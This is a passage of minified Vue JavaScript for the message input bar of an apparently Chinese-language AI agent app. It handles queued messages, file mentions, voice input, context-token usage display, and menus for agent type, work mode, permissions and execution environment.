U=Math.round(j.getBoundingClientRect().height);return U>0?U:j.offsetHeight>0?j.offsetHeight:34},Dc=()=>we.value.map(j=>String((j==null?void 0:j.id)||"").trim()).filter(j=>!!j),Mk=()=>{qo.value=!0,yl!==null&&window.clearTimeout(yl),yl=window.setTimeout(()=>{qo.value=!1,yl=null,Nn()},NC+40)},mh=j=>{const U=gh.get(j);U&&(clearTimeout(U),gh.delete(j)),j.style.removeProperty("transition"),j.style.removeProperty("transform"),j.style.removeProperty("opacity")},vh=(j,U,Y,Te,Me)=>{const Ve=()=>{j.style.removeProperty("transition"),U.forEach($e=>j.style.removeProperty($e)),Me==null||Me()};j.style.transition="none",Object.entries(Y).forEach(([$e,Ye])=>{j.style.setProperty($e,Ye)}),requestAnimationFrame(()=>{j.style.transition=U.map(Ye=>`${Ye} ${NC}ms ${_J}`).join(", "),Object.entries(Te).forEach(([Ye,qe])=>{j.style.setProperty(Ye,qe)});const $e=window.setTimeout(Ve,NC+40);gh.set(j,$e)})};let Nc=[];PF(()=>{ro.splice(0,ro.length,...Nc),vl.clear(),Pc.clear(),Nc.forEach(j=>{const U=ml.get(j);U!=null&&U.isConnected&&(vl.set(j,U.getBoundingClientRect()),Pc.set(j,U))})}),S2(()=>{const j=u_.value,U=Dc();if(!Oc){Oc=!0,Nc=[...U],ro.splice(0,ro.length),vl.clear(),Pc.clear();return}Mk();const Y=new Set(ro),Te=new Set(U),Me=U.filter($e=>!Y.has($e)),Ve=ro.filter($e=>!Te.has($e));!Me.length&&!Ve.length||(Ve.forEach($e=>{const Ye=Pc.get($e),qe=vl.get($e);if(!Ye||!qe||!(j!=null&&j.isConnected))return;mh(Ye);const Et=Tr.get($e);Et&&(mh(Et),Et.remove(),Tr.delete($e));const Lt=Ye.cloneNode(!0),ys=j.getBoundingClientRect();Lt.style.position="absolute",Lt.style.left="0",Lt.style.top=`${Math.round(qe.top-ys.top)}px`,Lt.style.width=`${Math.round(qe.width>0?qe.width:ys.width)}px`,Lt.style.pointerEvents="none",Lt.style.zIndex="0",Lt.style.margin="0",Lt.style.opacity="1",Lt.querySelectorAll("button").forEach(ti=>{ti instanceof HTMLButtonElement&&(ti.disabled=!0)}),j.appendChild(Lt),Tr.set($e,Lt);const xr=h_(Lt);vh(Lt,["transform"],{transform:"translateY(0)"},{transform:`translateY(${xr}px)`},()=>{Tr.delete($e),Lt.remove()}),ml.delete($e)}),U.forEach($e=>{const Ye=ml.get($e);if(!(Ye!=null&&Ye.isConnected))return;if(mh(Ye),Me.includes($e)){const ys=h_(Ye);vh(Ye,["transform"],{transform:`translateY(${ys}px)`},{transform:"translateY(0)"});return}const qe=vl.get($e);if(!qe)return;const Et=Ye.getBoundingClientRect(),Lt=qe.top-Et.top;Math.abs(Lt)<.5||vh(Ye,["transform"],{transform:`translateY(${Lt}px)`},{transform:"translateY(0)"})}),ro.splice(0,ro.length),vl.clear(),Pc.clear(),Nc=[...U])});const yh=ye(()=>{const j=!!(i.inputMessage||"").trim();if(i.streamingMessage)return j;const U=Array.isArray(i.selectedImages)&&i.selectedImages.length>0,Y=Array.isArray(i.selectedVideos)&&i.selectedVideos.length>0;return j||U||Y}),d_=ye(()=>!!i.streamingMessage&&!yh.value),mm=ye(()=>i.isConnected?i.streamingMessage?!1:i.inputLocked||i.mediaUploading?!0:!yh.value:!0),bh=ye(()=>{const j=we.value.length>0,U=Array.isArray(i.selectedImages)&&i.selectedImages.length>0,Y=Array.isArray(i.selectedVideos)&&i.selectedVideos.length>0,Te=Array.isArray(i.selectedFiles)&&i.selectedFiles.length>0;return j||He.value||yt.value||y.value||ee.value||U||Y||Te||!!i.inputIsMultiline||!!i.goalModeArmed||!!i.goalRunning||xk.value}),xk=ye(()=>{var j;return String(((j=i.goalProgress)==null?void 0:j.status)||"").toLowerCase()==="done"}),f_=()=>{T.value=!0},p_=()=>{T.value=!1,Nn()},Bc=()=>{T.value=!1,Nn()},Ik=ye(()=>we.value.length>0||qo.value||ya.value||T.value),Rk=()=>{const j=a.value,U=l.value;if(!j||!U)return 0;let Y=U.offsetTop,Te=U.offsetTop+U.offsetHeight;const Me=j.querySelector(".skill-slash-menu");if(Me instanceof HTMLElement){const $e=Me.offsetTop,Ye=Me.offsetTop+Me.offsetHeight;return Math.max(0,Math.max(Te,Ye)-Math.min(Y,$e))}return j.querySelectorAll(".runtime-queue-list:not(.runtime-queue-list--empty), .floating-status-row, .composer-avatar").forEach($e=>{$e instanceof HTMLElement&&($e.classList.contains("floating-status-row")&&!He.value||$e.classList.contains("composer-avatar")&&!yt.value||(Y=Math.min(Y,$e.offsetTop),Te=Math.max(Te,$e.offsetTop+$e.offsetHeight)))}),Math.max(0,Te-Y)},Lk=()=>{const j=l.value;return j?Math.max(0,j.getBoundingClientRect().height):0},Nn=()=>{const j=Rk();if(!j)return;const U=Lk();bh.value?d.value<=0&&U>0?d.value=U:d.value>0&&U>0?d.value=Math.min(d.value,U):d.value<=0&&(d.value=j):d.value=j;const Y=d.value||j,Te=Math.max(0,j-Y),Ve=Math.ceil(123+Te);n("composer-height-change",{reservedHeight:Ve,visualHeight:j,growth:Te})},Ar=()=>{var Lt;const j=(Lt=a.value)==null?void 0:Lt.querySelector(".stadium-input-editor");if(!j)return;const U=j,Y=U.scrollTop,Te=document.activeElement===U||U.contains(document.activeElement);U.style.height="auto";const Me=window.getComputedStyle(U),Ve=parseFloat(Me.lineHeight||"20")||20,$e=Ve*10,Ye=Math.min(U.scrollHeight,$e),qe=Math.max(1,Math.round(Ye/Ve)),Et=Ye>Ve*1.4;de(qe,Et),U.style.height=`${Ye}px`,Fc(U,{previousScrollTop:Y,selectionShouldStayVisible:Te,padding:Math.max(4,Ve*.3)}),ft(()=>{Nn()})},Fc=(j,U)=>{const Y=Math.max(0,j.scrollHeight-j.clientHeight);if(Y<=0){j.scrollTop=0;return}if(!U.selectionShouldStayVisible){j.scrollTop=Math.min(Y,Math.max(0,U.previousScrollTop));return}requestAnimationFrame(()=>{const Te=ts.value;if(!Te){j.scrollTop=Math.min(Y,Math.max(0,U.previousScrollTop));return}try{const Me=Te.view.coordsAtPos(Te.state.selection.head),Ve=j.getBoundingClientRect(),$e=U.padding,Ye=Math.max(0,j.scrollHeight-j.clientHeight);let qe=j.scrollTop;Me.bottom>Ve.bottom-$e?qe+=Me.bottom-Ve.bottom+$e:Me.top{const Y=Uo(),Te=ts.value;if(!Te||!Y)return;const Me=Te.schema.nodes.mention;if(!Me)return;const Ve=Me.create({id:`file://${j}`,label:U}),{state:$e,view:Ye}=Te;let qe=$e.tr.delete(Y.start,Y.end);qe=qe.insert(Y.start,Ve);const Et=Y.start+Ve.nodeSize;qe=qe.insertText(" ",Et),qe=qe.setSelection(_t.near(qe.doc.resolve(Et+1))),Ye.dispatch(qe),Ye.focus(),Qs(),ft(()=>{Ar()})},Hf=async j=>{var Te;const U=j.target,Y=(U==null?void 0:U.files)||null;if(K.value&&Y&&Y.length>0){K.value=!1;const Me=Y[0];try{const $e=await(await fetch(`/api/project/files/search?q=${encodeURIComponent(Me.name)}&limit=10`)).json().catch(()=>({})),Ye=Array.isArray((Te=$e==null?void 0:$e.data)==null?void 0:Te.items)?$e.data.items:[],qe=Ye.find(Et=>Et.name===Me.name)||Ye[0];qe?io(qe):_a(Me.name,Me.name)}catch(Ve){console.warn("[FileAt] 通过文件选择器查找路径失败:",Ve),_a(Me.name,Me.name)}U&&(U.value="");return}n("file-selected",Y),U&&(U.value="")},Pk=()=>{var j;return Ms((j=ts.value)==null?void 0:j.getJSON())},Ok=()=>{var j,U;return{editor_json:((j=ts.value)==null?void 0:j.getJSON())||null,skill_refs:Ms((U=ts.value)==null?void 0:U.getJSON()).skillRefs}},g_=j=>{const U=ts.value;U&&j!=null&&j.editor_json&&typeof j.editor_json=="object"&&(De=!0,U.commands.setContent(j.editor_json),De=!1,n("update:input-message",Go()),ft(Ar))},m_=()=>{!i.isConnected||i.uploading||n("quick-upload")},v_=ye(()=>{const j=(i.permissionOptions||[]).find(U=>U.value===i.currentPermissionMode);return j?j.label:i.currentPermissionMode}),q=[{value:"agent",label:"智能体",description:"单智能体对话"},{value:"multi_agent",label:"多智能体",description:"Team Leader + 子智能体协作"}],te=ye(()=>!!i.currentConversationId),Z=ye(()=>i.currentConversationId?i.currentConversationType==="multi_agent"?"多智能体":"智能体":i.newConversationType==="multi_agent"?"多智能体":"智能体"),re=ye(()=>!!i.streamingMessage),Ae=ye(()=>{const j=(i.workModeOptions||[]).find(U=>U.value===i.currentWorkMode);return j?j.label:i.currentWorkMode||"计划"}),ue=ye(()=>i.currentWorkMode==="plan"),Ge=ye(()=>i.currentPermissionMode==="readonly"),pt=ye(()=>ue.value||Ge.value),Bt=ye(()=>{const j=String(i.currentExecutionMode||"");return j==="direct"?"完全访问":j==="sandbox"?"沙箱":j}),Rt=ye(()=>{const U=(Array.isArray(i.modelOptions)?i.modelOptions:[]).find(Y=>Y.key===i.currentModelKey);return Number((U==null?void 0:U.contextWindow)||0)}),Ps=ye(()=>{var j;return!!((j=o==null?void 0:o.form)!=null&&j.auto_deep_compress_enabled)}),Us=ye(()=>{var U;const j=Number(((U=o==null?void 0:o.form)==null?void 0:U.deep_compress_trigger_tokens)||0);return j>0?j:15e4}),Er=ye(()=>Ps.value?Us.value:Rt.value>0?Rt.value:0),Mr=ye(()=>{const j=Number(Er.value||0);if(j<=0)return 0;const U=Math.max(0,Number(i.currentContextTokens||0));return Math.max(0,Math.min(100,U/j*100))}),$c=ye(()=>`${Math.round(Mr.value)}%`),Hc=ye(()=>{const j=Mr.value;return j<40?"var(--state-success)":j<=80?"var(--state-warning)":"var(--state-danger)"}),Sa=j=>{const U=Math.max(0,Number(j||0));if(U>=1e3){const Y=U/1e3;return`${Y>=100?Math.round(Y).toString():Y.toFixed(1).replace(/\.0$/,"")}k`}return`${Math.round(U)}`},oo=ye(()=>{const j=Sa(i.currentContextTokens||0),U=Number(Er.value||0);return U<=0?`${j}/--`:`${j}/${Sa(U)}`});return e({inputAreaRoot:a,stadiumShellOuter:c,compactInputShell:l,stadiumInput:u,fileUploadInput:h,emitComposerHeight:Nn,prepareMessageForSend:Pk,getComposerDraftMeta:Ok,restoreComposerDraftMeta:g_}),Xe(()=>i.inputMessage,async()=>{const j=ts.value;j&&!De&&Go()!==(i.inputMessage||"")&&(De=!0,j.commands.setContent(On(i.inputMessage||"")),De=!1),await ft(),Ar(),Ee()}),Xe(()=>i.isConnected,async j=>{var U,Y;(U=ts.value)==null||U.setEditable(!!j&&!i.inputLocked),j||(Y=ts.value)==null||Y.commands.blur(),await ft(),Ar()}),Xe(()=>i.inputLocked,j=>{var U;(U=ts.value)==null||U.setEditable(i.isConnected&&!j)}),Xe(()=>i.currentConversationId,async()=>{d.value=0,await ft(),Nn()}),Xe(()=>i.runtimeQueuedMessages,async()=>{await ft(),Nn()},{deep:!0}),Xe(()=>i.projectGitSummary,async()=>{Le.value||Jt(),await ft(),Nn()},{deep:!0}),Xe(He,async()=>{await ft(),Nn(),window.setTimeout(()=>{Nn()},280)}),Xe(yt,async()=>{await ft(),Nn(),window.setTimeout(()=>{Nn()},280)}),Xe(()=>{var j;return(j=i.avatarStatus)==null?void 0:j.mode},()=>{var j;((j=i.avatarStatus)==null?void 0:j.mode)!=="idle"&&Yn()}),Xe(()=>{var j,U;return[((j=i.selectedImages)==null?void 0:j.length)||0,((U=i.selectedVideos)==null?void 0:U.length)||0]},async()=>{await ft(),Nn()}),Xe(Ik,async()=>{await ft(),Nn()}),Xe(()=>i.streamingMessage||i.inputLocked,j=>{j&&Dn.value&&ph()}),Cn(()=>{document.addEventListener("click",Jt),Ar(),ft(()=>{Nn(),typeof ResizeObserver<"u"&&(et=new ResizeObserver(()=>{Nn()}),a.value&&et.observe(a.value),c.value&&et.observe(c.value),l.value&&et.observe(l.value))})}),xn(()=>{var j;ph(),document.removeEventListener("click",Jt),(j=ts.value)==null||j.destroy(),ml.forEach(U=>{U&&mh(U)}),Tr.forEach(U=>{mh(U),U.remove()}),Tr.clear(),ml.clear(),ro.splice(0,ro.length),vl.clear(),Pc.clear(),Oc=!1,Nc=[],yl!==null&&(window.clearTimeout(yl),yl=null),qo.value=!1,et&&(et.disconnect(),et=null),Yn()}),(j,U)=>(F(),$("div",{class:"input-area compact-input-area",ref_key:"inputAreaRoot",ref:a},[E("div",{class:"stadium-input-wrapper",ref_key:"stadiumShellOuter",ref:c},[E("div",{class:ke(["runtime-queue-list",{"runtime-queue-list--empty":!we.value.length}]),ref_key:"runtimeQueueList",ref:u_},[(F(!0),$(Ie,null,tt(we.value,(Y,Te)=>(F(),$("div",{key:Y.id,class:ke(["runtime-queue-item",{"runtime-queue-item--top":Te===0}]),"data-runtime-queue-id":Y.id||"",ref_for:!0,ref:Ek(Y.id)},[E("span",dY,ae(Y.text||""),1),E("button",{type:"button",class:"runtime-queue-item__action",onClick:Ne(Me=>j.$emit("guide-runtime-message",Y.id),["stop"])}," 引导 ",8,fY),E("button",{type:"button",class:"runtime-queue-item__action runtime-queue-item__action--danger",onClick:Ne(Me=>j.$emit("delete-runtime-message",Y.id),["stop"])}," 删除 ",8,pY)],10,hY))),128))],2),Qe(us,{name:"skill-slash-menu-motion",onBeforeEnter:f_,onBeforeLeave:f_,onAfterEnter:p_,onAfterLeave:Bc},{default:Vt(()=>[ya.value?(F(),$("div",{key:S.value,class:"skill-slash-menu-wrapper",role:"listbox","aria-label":pl.value},[E("div",{ref_key:"skillSlashList",ref:w,class:"skill-slash-menu",onScroll:st},[(F(!0),$(Ie,null,tt(Ni.value,(Y,Te)=>(F(),$("button",{key:Y.id,type:"button",class:ke(["skill-slash-item",{"skill-slash-item--active":Te===_.value&&!A.value,"skill-slash-item--disabled":Y.disabled}]),role:"option","aria-selected":Te===_.value,disabled:Y.disabled,onMousedown:Ne(Me=>zt(Te),["prevent"])},[E("span",vY,ae(Y.label),1),E("span",yY,ae(Y.description),1)],42,mY))),128)),Ni.value.length?ge("",!0):(F(),$("div",bY,ae($f.value),1))],544),E("div",{class:"skill-slash-menu__highlight",style:Ke(Re.value)},null,4)],8,gY)):ge("",!0)]),_:1}),Qe(ZX,{ref_key:"fileAtMenuRef",ref:G,visible:ee.value,items:le.value,"active-index":ve.value,loading:oe.value,"host-mode":!!i.hostMode,"menu-style":I.value,onSelect:Jn,onHover:U[0]||(U[0]=Y=>ve.value=Y)},null,8,["visible","items","active-index","loading","host-mode","menu-style"]),Qe(us,{name:"floating-status-motion"},{default:Vt(()=>[yt.value?(F(),$("div",{key:0,class:"composer-avatar",onClick:Ne(Rn,["stop"])},[Qe(bD,{mode:i.avatarStatus.mode,"tool-keys":i.avatarStatus.toolKeys||[],tracking:i.avatarStatus.tracking!==!1,size:45,"hex-background":""},null,8,["mode","tool-keys","tracking"]),Qe(us,{name:"composer-avatar-text-fade",mode:"out-in"},{default:Vt(()=>[J.value?(F(),$("span",{key:`poke-${J.value}`,class:ke(["composer-avatar__text",{"composer-avatar__text--right":!He.value,"composer-avatar__text--top":He.value}])},ae(J.value),3)):At.value?(F(),$("span",{key:Nt.value,class:ke(["composer-avatar__text",{"composer-avatar__text--right":!He.value,"composer-avatar__text--top":He.value}])},ae(At.value),3)):ge("",!0)]),_:1})])):ge("",!0)]),_:1}),Qe(us,{name:"floating-status-motion"},{default:Vt(()=>[He.value?(F(),$("div",{key:0,class:"floating-status-row",onClick:U[10]||(U[10]=Ne(()=>{},["stop"]))},[E("div",{class:"floating-project-status",onClick:U[9]||(U[9]=Ne(()=>{},["stop"]))},[Le.value?(F(),$("span",_Y,[E("span",SY,[E("button",{type:"button",class:ke(["floating-project-status__button floating-project-status__button--project",{"floating-project-status__button--active":It.value==="project"}]),onClick:U[1]||(U[1]=Ne(Y=>$t("project"),["stop"]))},ae(Le.value.projectName),3),It.value==="project"?(F(),$("div",{key:0,class:"floating-project-status__submenu floating-project-status__submenu--project",onClick:U[2]||(U[2]=Ne(()=>{},["stop"]))},[E("button",{type:"button",onClick:Ne(hl,["stop"])}," 在文件管理器中打开 "),E("button",{type:"button",onClick:Ne(ut,["stop"])},"复制地址")])):ge("",!0)]),E("span",wY,[E("button",{type:"button",class:ke(["floating-project-status__button floating-project-status__button--branch",{"floating-project-status__button--active":It.value==="branch"}]),onClick:U[3]||(U[3]=Ne(Y=>$t("branch"),["stop"]))},ae(Le.value.branch),3),It.value==="branch"?(F(),$("div",{key:0,class:"floating-project-status__submenu floating-project-status__submenu--branch",onClick:U[4]||(U[4]=Ne(()=>{},["stop"]))},[E("button",{type:"button",onClick:Ne(Hs,["stop"])},"复制分支名称")])):ge("",!0)])])):ge("",!0),E("span",kY,[s.goalRunning?(F(),$("span",CY,"目标模式运行中")):s.goalModeArmed?(F(),$("span",TY,"目标模式就绪")):ge("",!0),s.pendingUserQuestionCount>0?(F(),$("button",{key:2,type:"button",class:"floating-project-status__notice floating-project-status__notice--button",onClick:U[5]||(U[5]=Ne(Y=>j.$emit("restore-user-question"),["stop"]))}," 等待回答问题 ")):ge("",!0),(s.activeSubAgentCount||0)>0?(F(),$("button",{key:3,type:"button",class:"floating-project-status__notice floating-project-status__notice--button",onClick:U[6]||(U[6]=Ne(Y=>j.$emit("stop-all-sub-agents"),["stop"]))},ae(s.activeSubAgentCount)+" 个子智能体运行中 ",1)):ge("",!0),s.terminalCount>0?(F(),$("button",{key:4,type:"button",class:"floating-project-status__terminal",onClick:U[7]||(U[7]=Ne(Y=>j.$emit("realtime-terminal"),["stop"]))},ae(s.terminalCount)+" 个终端 ",1)):ge("",!0),Le.value?(F(),$("button",{key:5,type:"button",class:"floating-project-status__stats",onClick:U[8]||(U[8]=Ne(Y=>j.$emit("open-git-changes-panel"),["stop"]))},[E("span",AY,[U[41]||(U[41]=hn("+",-1)),Qe($I,{value:Le.value.additions},null,8,["value"])]),E("span",EY,[U[42]||(U[42]=hn("-",-1)),Qe($I,{value:Le.value.deletions},null,8,["value"])])])):ge("",!0)])])])):ge("",!0)]),_:1}),E("div",{class:ke(["stadium-shell",{"is-multiline":s.inputIsMultiline,"is-focused":s.inputIsFocused,"has-text":(s.inputMessage||"").trim().length>0}]),ref_key:"compactInputShell",ref:l},[E("input",{type:"file",ref_key:"fileUploadInput",ref:h,class:"file-input-hidden",multiple:"",onChange:Hf},null,544),E("div",MY,[s.selectedImages&&s.selectedImages.length||s.selectedFiles&&s.selectedFiles.length?(F(),$("div",xY,[(F(!0),$(Ie,null,tt(s.selectedImages,Y=>(F(),$("div",{class:"image-thumbnail-wrapper",key:Y,onClick:Ne(Te=>se(Y),["stop"])},[E("img",{src:ce(Y),alt:xe(Y),class:"image-thumbnail"},null,8,RY),E("button",{type:"button",class:"image-remove-btn-hover",onClick:Ne(Te=>j.$emit("remove-image",Y),["stop"])},[...U[43]||(U[43]=[E("svg",{width:"10",height:"10",viewBox:"0 0 10 10",fill:"none","aria-hidden":"true"},[E("path",{d:"M2.5 2.5l5 5M7.5 2.5l-5 5",stroke:"currentColor","stroke-width":"1.5","stroke-linecap":"round"})],-1)])],8,LY)],8,IY))),128)),s.selectedFiles&&s.selectedFiles.length?(F(),Wt(Z2,{key:0,files:s.selectedFiles,removable:"",onRemove:U[11]||(U[11]=Y=>j.$emit("remove-file",Y))},null,8,["files"])):ge("",!0)])):ge("",!0),s.selectedVideos&&s.selectedVideos.length?(F(),$("div",PY,[(F(!0),$(Ie,null,tt(s.selectedVideos,Y=>(F(),$("div",{class:"image-thumbnail-wrapper",key:Y},[E("img",{src:ce(Y),alt:xe(Y),class:"image-thumbnail"},null,8,OY),E("button",{type:"button",class:"image-remove-btn-hover",onClick:Ne(Te=>j.$emit("remove-video",Y),["stop"])},[...U[44]||(U[44]=[E("svg",{width:"10",height:"10",viewBox:"0 0 10 10",fill:"none","aria-hidden":"true"},[E("path",{d:"M2.5 2.5l5 5M7.5 2.5l-5 5",stroke:"currentColor","stroke-width":"1.5","stroke-linecap":"round"})],-1)])],8,DY)]))),128))])):ge("",!0),E("div",NY,[E("div",BY,[Qe(We(CK),{editor:We(ts),class:ke(["stadium-input stadium-input-tiptap",{"is-disabled":!s.isConnected||s.inputLocked}]),onFocusin:U[12]||(U[12]=Y=>j.$emit("input-focus")),onFocusout:ws},null,8,["editor","class"])])]),E("div",FY,[E("div",$Y,[E("button",{type:"button",class:"stadium-btn add-btn","data-tutorial":"quick-menu-open",onClick:U[13]||(U[13]=Ne(Y=>j.$emit("toggle-quick-menu"),["stop"])),disabled:!s.isConnected,"aria-label":"快捷菜单"},[...U[45]||(U[45]=[E("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"16",height:"16",fill:"none",stroke:"currentColor","stroke-width":"2","stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":"true"},[E("path",{d:"M5 12h14"}),E("path",{d:"M12 5v14"})],-1)])],8,HY),E("div",{class:ke(["agent-type-switcher",{"is-disabled":te.value}])},[E("button",{type:"button",class:"agent-type-switcher__btn",onClick:U[14]||(U[14]=Ne(Y=>j.$emit("toggle-agent-type-menu"),["stop"])),disabled:!s.isConnected||te.value,"aria-expanded":s.agentTypeMenuOpen,"aria-haspopup":"true"},[E("span",null,ae(Z.value),1),E("span",{class:ke(["agent-type-switcher__caret",{open:s.agentTypeMenuOpen}]),"aria-hidden":"true"},"›",2)],8,UY),s.agentTypeMenuOpen&&!te.value?(F(),$("div",{key:0,class:"agent-type-switcher__menu",onClick:U[15]||(U[15]=Ne(()=>{},["stop"]))},[(F(),$(Ie,null,tt(q,Y=>E("button",{key:Y.value,type:"button",class:ke(["agent-type-switcher__menu-item",{"is-active":Y.value===s.newConversationType}]),onClick:Ne(Te=>j.$emit("select-new-conversation-type",Y.value),["stop"])},[E("span",zY,ae(Y.label),1),E("span",jY,ae(Y.description),1)],10,WY)),64))])):ge("",!0)],2),E("div",{class:ke(["agent-type-switcher work-mode-switcher",{"is-disabled":re.value}])},[E("button",{type:"button",class:"agent-type-switcher__btn",onClick:U[16]||(U[16]=Ne(Y=>j.$emit("toggle-work-mode-menu"),["stop"])),disabled:!s.isConnected||re.value,"aria-expanded":s.workModeMenuOpen,"aria-haspopup":"true",title:re.value?"对话运行中,运行模式只能在空闲时切换":"运行模式"},[E("span",null,ae(Ae.value),1),E("span",{class:ke(["agent-type-switcher__caret",{open:s.workModeMenuOpen}]),"aria-hidden":"true"},"›",2)],8,VY),s.workModeMenuOpen&&!re.value?(F(),$("div",{key:0,class:"agent-type-switcher__menu",onClick:U[17]||(U[17]=Ne(()=>{},["stop"]))},[(F(!0),$(Ie,null,tt(s.workModeOptions,Y=>(F(),$("button",{key:Y.value,type:"button",class:ke(["agent-type-switcher__menu-item",{"is-active":Y.value===s.currentWorkMode}]),onClick:Ne(Te=>j.$emit("change-work-mode",Y.value),["stop"])},[E("span",qY,ae(Y.label),1),E("span",KY,ae(Y.description),1)],10,GY))),128))])):ge("",!0)],2)]),E("div",QY,[a_.value?(F(),$("button",{key:0,type:"button",class:ke(["stadium-btn voice-btn",{"voice-btn--recording":Dn.value,"voice-btn--disabled":Cr.value==="downloading"||Cr.value==="model_not_ready"}]),onClick:c_,disabled:!s.isConnected||s.inputLocked,title:Tk.value},[Dn.value?(F(),$("div",JY,[...U[47]||(U[47]=[E("span",{class:"voice-wave-bar"},null,-1),E("span",{class:"voice-wave-bar"},null,-1),E("span",{class:"voice-wave-bar"},null,-1),E("span",{class:"voice-wave-bar"},null,-1)])])):(F(),$("svg",YY,[...U[46]||(U[46]=[E("path",{d:"M12 19v3m7-12v2a7 7 0 0 1-14 0v-2"},null,-1),E("rect",{width:"6",height:"13",x:"9",y:"2",rx:"3"},null,-1)])]))],10,XY)):ge("",!0),E("button",{type:"button",class:"stadium-btn send-btn",onClick:U[18]||(U[18]=Y=>j.$emit("send-or-stop")),disabled:mm.value},[d_.value?(F(),$("span",eJ)):(F(),$("span",tJ))],8,ZY)])])])],2),Qe(gL,{open:s.quickMenuOpen,"is-connected":s.isConnected,uploading:s.uploading,"streaming-message":s.streamingMessage,"thinking-mode":s.thinkingMode,"run-mode":s.runMode,"model-menu-open":s.modelMenuOpen,"model-options":s.modelOptions,"current-model-key":s.currentModelKey,"tool-menu-open":s.toolMenuOpen,"tool-settings":s.toolSettings,"tool-settings-loading":s.toolSettingsLoading,"settings-open":s.settingsOpen,"mode-menu-open":s.modeMenuOpen,compressing:s.compressing,"current-conversation-id":s.currentConversationId,"icon-style":s.iconStyle,"tool-category-icon":s.toolCategoryIcon,"block-upload":s.blockUpload,"block-tool-toggle":s.blockToolToggle,"block-realtime-terminal":s.blockRealtimeTerminal,"block-focus-panel":s.blockFocusPanel,"block-token-panel":s.blockTokenPanel,"block-compress-conversation":s.blockCompressConversation,"block-conversation-review":s.blockConversationReview,"execution-mode-enabled":s.executionModeEnabled,"goal-mode-armed":s.goalModeArmed,"goal-running":s.goalRunning,onQuickUpload:m_,onPickImages:U[19]||(U[19]=Y=>j.$emit("pick-images")),onPickVideo:U[20]||(U[20]=Y=>j.$emit("pick-video")),onToggleToolMenu:U[21]||(U[21]=Y=>j.$emit("toggle-tool-menu")),onToggleSettings:U[22]||(U[22]=Y=>j.$emit("toggle-settings")),onToggleModeMenu:U[23]||(U[23]=Y=>j.$emit("toggle-mode-menu")),onSelectRunMode:U[24]||(U[24]=Y=>j.$emit("select-run-mode",Y)),onToggleModelMenu:U[25]||(U[25]=Y=>j.$emit("toggle-model-menu")),onSelectModel:U[26]||(U[26]=Y=>j.$emit("select-model",Y)),onUpdateToolCategory:U[27]||(U[27]=(Y,Te)=>j.$emit("update-tool-category",Y,Te)),onRealtimeTerminal:U[28]||(U[28]=Y=>j.$emit("realtime-terminal")),onToggleFocusPanel:U[29]||(U[29]=Y=>j.$emit("toggle-focus-panel")),onToggleTokenPanel:U[30]||(U[30]=Y=>j.$emit("toggle-token-panel",Y)),onCompressConversation:U[31]||(U[31]=Y=>j.$emit("compress-conversation")),onToggleApprovalPanel:U[32]||(U[32]=Y=>j.$emit("toggle-approval-panel")),onOpenReview:U[33]||(U[33]=Y=>j.$emit("open-review")),onOpenPathAuthorization:U[34]||(U[34]=Y=>j.$emit("open-path-authorization")),onToggleGoalMode:U[35]||(U[35]=Y=>j.$emit("toggle-goal-mode"))},null,8,["open","is-connected","uploading","streaming-message","thinking-mode","run-mode","model-menu-open","model-options","current-model-key","tool-menu-open","tool-settings","tool-settings-loading","settings-open","mode-menu-open","compressing","current-conversation-id","icon-style","tool-category-icon","block-upload","block-tool-toggle","block-realtime-terminal","block-focus-panel","block-token-panel","block-compress-conversation","block-conversation-review","execution-mode-enabled","goal-mode-armed","goal-running"]),E("div",{class:"permission-switcher",onClick:U[38]||(U[38]=Ne(()=>{},["stop"]))},[E("button",{type:"button",class:"permission-switcher__btn",disabled:!s.isConnected||s.streamingMessage,onClick:U[36]||(U[36]=Y=>j.$emit("open-versioning-dialog"))},[...U[48]||(U[48]=[E("span",null,"版本控制",-1)])],8,sJ),E("div",nJ,[E("button",{type:"button",class:"permission-switcher__btn",disabled:!s.isConnected,title:ue.value?"计划模式下权限与执行环境已锁定,网络权限仍可调整":Ge.value?"只读模式下执行环境已锁定为沙箱":"",onClick:U[37]||(U[37]=Y=>j.$emit("toggle-permission-menu"))},[ue.value||Ge.value?(F(),$("svg",rJ,[...U[49]||(U[49]=[E("rect",{width:"18",height:"11",x:"3",y:"11",rx:"2",ry:"2"},null,-1),E("path",{d:"M7 11V7a5 5 0 0 1 10 0v4"},null,-1)])])):ge("",!0),E("span",null,ae(v_.value),1),s.executionModeEnabled?(F(),$("span",{key:1,class:ke(["permission-switcher__exec",{"permission-switcher__exec--warn":s.currentExecutionMode==="direct"}])},ae(Bt.value),3)):ge("",!0),E("span",{class:ke(["permission-switcher__caret",{open:s.permissionMenuOpen}])},"›",2)],8,iJ),s.permissionMenuOpen?(F(),$("div",{key:0,class:ke(["permission-switcher__menu",{"permission-switcher__menu--split":s.executionModeEnabled}])},[E("div",{class:ke(["permission-switcher__group",{"permission-switcher__group--disabled":ue.value}])},[E("div",oJ,[U[50]||(U[50]=hn(" 权限",-1)),ue.value?(F(),$("span",aJ,"计划模式锁定")):ge("",!0)]),(F(!0),$(Ie,null,tt(s.permissionOptions,Y=>(F(),$("button",{key:`permission-${Y.value}`,type:"button",class:ke(["permission-switcher__item",{active:Y.value===s.currentPermissionMode}]),disabled:ue.value,onClick:Te=>j.$emit("change-permission-mode",Y.value)},[E("span",cJ,ae(Y.label),1),E("span",uJ,ae(Y.description),1)],10,lJ))),128))],2),s.executionModeEnabled?(F(),$("div",{key:0,class:ke(["permission-switcher__group",{"permission-switcher__group--disabled":pt.value}])},[E("div",hJ,[U[51]||(U[51]=hn(" 执行环境 ",-1)),ue.value?(F(),$("span",dJ,"计划模式锁定")):Ge.value?(F(),$("span",fJ,"只读模式锁定")):ge("",!0)]),(F(!0),$(Ie,null,tt(s.executionModeOptions,Y=>(F(),$("button",{key:`execution-${Y.value}`,type:"button",class:ke(["permission-switcher__item",{active:Y.value===s.currentExecutionMode}]),disabled:pt.value,onClick:Te=>j.$emit("change-execution-mode",Y.value)},[E("span",{class:ke(["permission-switcher__item-label",{"permission-switcher__item-label--warn":Y.value==="direct"}])},ae(Y.label),3),E("span",gJ,ae(Y.description),1)],10,pJ))),128))],2)):ge("",!0),s.networkPermissionEnabled?(F(),$("div",{key:1,class:ke(["permission-switcher__group",{"permission-switcher__group--disabled":s.currentExecutionMode==="direct"}])},[U[52]||(U[52]=E("div",{class:"permission-switcher__group-title"},"网络权限",-1)),(F(!0),$(Ie,null,tt(s.networkPermissionOptions,Y=>(F(),$("button",{key:`network-${Y.value}`,type:"button",class:ke(["permission-switcher__item",{active:Y.value===s.currentNetwo